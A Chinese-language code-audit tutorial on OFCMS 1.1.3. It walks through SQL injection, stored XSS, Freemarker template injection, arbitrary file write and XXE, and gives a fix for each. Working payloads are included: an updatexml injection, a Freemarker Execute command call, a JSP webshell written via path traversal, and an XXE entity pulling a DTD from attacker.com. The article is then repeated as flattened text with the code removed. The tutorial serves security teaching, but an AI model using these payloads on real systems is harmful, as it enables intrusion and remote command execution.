记又一次Java代码审计
字数 1660 2025-08-07 08:22:20

Java代码审计实战:OFCMS 1.1.3漏洞分析与复现

0x0 前言

本文是对OFCMS 1.1.3版本的代码审计实战记录,详细分析了该CMS系统中存在的多个安全漏洞,包括SQL注入、存储型XSS、SSTI模板注入、文件上传和XXE漏洞。通过本教程,您将学习到完整的审计流程和技巧。

0x1 环境搭建

自动安装

  1. 下载OFCMS 1.1.3版本源码:https://gitee.com/oufu/ofcms/tree/V1.1.3/
  2. 使用IDEA导入项目
  3. 配置Tomcat运行环境
  4. 启动项目后访问安装界面
  5. 配置数据库信息(需提前创建空数据库)
  6. 设置管理员账号密码(默认admin/123456)

手动部署

  1. 创建空ofcms数据库
  2. 导入SQL文件:ofcms-V1.1.3/doc/sql/ofcms-v1.1.3.sql
  3. 修改数据库配置文件:ofcms-V1.1.3/ofcms-admin/src/main/resources/dev/conf/db-config.properties → 重命名为db.properties
  4. 修改数据库连接信息
  5. 启动项目后访问后台:http://localhost:8080/ofcms_admin_war/admin/index.html

0x2 漏洞分析

SQL注入漏洞

漏洞位置:管理后台 → 代码生成 → 新增功能

漏洞代码

// com.ofsoft.cms.admin.controller.system.SystemGenerateController.create()
String sql = getPara("sql");
Db.update(sql);

漏洞原理

  • 直接使用getPara()获取用户输入,未做任何过滤
  • 使用Db.update(sql)执行原始SQL语句,未使用预编译参数化查询

利用方式

update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4

修复建议

  • 使用预编译语句
  • 实现SQL语句白名单机制
  • 对管理功能增加权限校验

存储型XSS漏洞

漏洞位置:前台新闻中心评论功能

漏洞代码

// com.ofsoft.cms.api.v1.CommentApi.save()
Map<String, Object> params = getParamsMap();
Db.update("of_cms_comment", params);

漏洞原理

  • 直接获取用户提交的所有参数并存入数据库
  • 前端展示时未做HTML实体编码

利用方式
提交评论内容为:

<script>alert(1)</script>

修复建议

  • 对用户输入进行HTML实体编码
  • 实现内容安全策略(CSP)
  • 使用富文本编辑器时实现XSS过滤

SSTI模板注入

漏洞位置:管理后台 → 模板管理 → 修改模板

漏洞代码

// com.ofsoft.cms.admin.controller.cms.TemplateController.save()
String fileContent = getRequest().getParameter("file_content");
FileUtils.writeString(file, fileContent);

漏洞原理

  • 使用Freemarker模板引擎
  • 允许用户直接编辑模板文件内容
  • 未对模板内容进行安全校验

利用方式
在模板中插入:

<#assign ex="freemarker.template.utility.Execute"?new()> 
${ ex("calc") }

修复建议

  • 升级Freemarker版本
  • 禁用new操作符
  • 实现模板修改权限控制
  • 对模板内容进行安全校验

文件上传漏洞

漏洞位置:模板管理功能

漏洞代码

// com.ofsoft.cms.admin.controller.cms.TemplateController.save()
String fileName = getPara("file_name");
String fileContent = getPara("file_content");
FileUtils.writeString(new File(fileName), fileContent);

漏洞原理

  • 文件名和内容完全可控
  • 未过滤路径穿越符(../)
  • 可直接写入任意文件

利用方式
构造请求写入Webshell:

file_name=../../static/shell.jsp
file_content=<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

修复建议

  • 限制文件保存目录
  • 过滤路径穿越符
  • 校验文件类型和内容
  • 实现文件上传权限控制

XXE漏洞

漏洞位置:报表导出功能

漏洞代码

// com.ofsoft.cms.admin.controller.ReprotAction.expReport()
String j = getPara("j");
JasperCompileManager.compileReport(j);

漏洞原理

  • 使用JRXmlLoader.loadXML()解析用户可控的XML文件
  • 未禁用外部实体解析

利用方式

  1. 先利用文件上传漏洞写入恶意jrxml文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
    %remote;
    %test;
]>
  1. 访问触发:
http://localhost:8080/ofcms_admin_war/admin/reprot/expReport.html?j=../../static/xxe.jrxml

修复建议

  • 禁用外部实体解析
  • 使用安全的XML解析器
  • 限制文件访问路径

0x3 总结

本次审计发现了OFCMS 1.1.3版本中的多个高危漏洞,总结如下:

  1. 输入验证不足:所有漏洞的根本原因都是缺乏对用户输入的严格验证
  2. 权限控制缺失:后台高危功能未做严格的权限校验
  3. 安全配置不当:XML解析、模板引擎等组件未做安全配置

审计技巧

  • 关注用户输入点:参数获取、文件上传、模板编辑等
  • 跟踪数据处理流程:从输入点到最终执行
  • 检查危险函数:SQL执行、文件操作、命令执行等
  • 验证组件配置:XML解析器、模板引擎等

修复建议

  1. 实现严格的输入验证和输出编码
  2. 加强权限控制和访问限制
  3. 更新第三方组件并正确配置安全选项
  4. 实施安全开发规范和安全测试流程

通过本次审计实战,可以加深对Java Web应用安全的理解,提高代码审计能力。建议定期进行类似审计练习,积累经验。

Java代码审计实战:OFCMS 1.1.3漏洞分析与复现 0x0 前言 本文是对OFCMS 1.1.3版本的代码审计实战记录,详细分析了该CMS系统中存在的多个安全漏洞,包括SQL注入、存储型XSS、SSTI模板注入、文件上传和XXE漏洞。通过本教程,您将学习到完整的审计流程和技巧。 0x1 环境搭建 自动安装 下载OFCMS 1.1.3版本源码:https://gitee.com/oufu/ofcms/tree/V1.1.3/ 使用IDEA导入项目 配置Tomcat运行环境 启动项目后访问安装界面 配置数据库信息(需提前创建空数据库) 设置管理员账号密码(默认admin/123456) 手动部署 创建空ofcms数据库 导入SQL文件: ofcms-V1.1.3/doc/sql/ofcms-v1.1.3.sql 修改数据库配置文件: ofcms-V1.1.3/ofcms-admin/src/main/resources/dev/conf/db-config.properties → 重命名为 db.properties 修改数据库连接信息 启动项目后访问后台:http://localhost:8080/ofcms_ admin_ war/admin/index.html 0x2 漏洞分析 SQL注入漏洞 漏洞位置 :管理后台 → 代码生成 → 新增功能 漏洞代码 : 漏洞原理 : 直接使用 getPara() 获取用户输入,未做任何过滤 使用 Db.update(sql) 执行原始SQL语句,未使用预编译参数化查询 利用方式 : 修复建议 : 使用预编译语句 实现SQL语句白名单机制 对管理功能增加权限校验 存储型XSS漏洞 漏洞位置 :前台新闻中心评论功能 漏洞代码 : 漏洞原理 : 直接获取用户提交的所有参数并存入数据库 前端展示时未做HTML实体编码 利用方式 : 提交评论内容为: 修复建议 : 对用户输入进行HTML实体编码 实现内容安全策略(CSP) 使用富文本编辑器时实现XSS过滤 SSTI模板注入 漏洞位置 :管理后台 → 模板管理 → 修改模板 漏洞代码 : 漏洞原理 : 使用Freemarker模板引擎 允许用户直接编辑模板文件内容 未对模板内容进行安全校验 利用方式 : 在模板中插入: 修复建议 : 升级Freemarker版本 禁用new操作符 实现模板修改权限控制 对模板内容进行安全校验 文件上传漏洞 漏洞位置 :模板管理功能 漏洞代码 : 漏洞原理 : 文件名和内容完全可控 未过滤路径穿越符(../) 可直接写入任意文件 利用方式 : 构造请求写入Webshell: 修复建议 : 限制文件保存目录 过滤路径穿越符 校验文件类型和内容 实现文件上传权限控制 XXE漏洞 漏洞位置 :报表导出功能 漏洞代码 : 漏洞原理 : 使用JRXmlLoader.loadXML()解析用户可控的XML文件 未禁用外部实体解析 利用方式 : 先利用文件上传漏洞写入恶意jrxml文件: 访问触发: 修复建议 : 禁用外部实体解析 使用安全的XML解析器 限制文件访问路径 0x3 总结 本次审计发现了OFCMS 1.1.3版本中的多个高危漏洞,总结如下: 输入验证不足 :所有漏洞的根本原因都是缺乏对用户输入的严格验证 权限控制缺失 :后台高危功能未做严格的权限校验 安全配置不当 :XML解析、模板引擎等组件未做安全配置 审计技巧 : 关注用户输入点:参数获取、文件上传、模板编辑等 跟踪数据处理流程:从输入点到最终执行 检查危险函数:SQL执行、文件操作、命令执行等 验证组件配置:XML解析器、模板引擎等 修复建议 : 实现严格的输入验证和输出编码 加强权限控制和访问限制 更新第三方组件并正确配置安全选项 实施安全开发规范和安全测试流程 通过本次审计实战,可以加深对Java Web应用安全的理解,提高代码审计能力。建议定期进行类似审计练习,积累经验。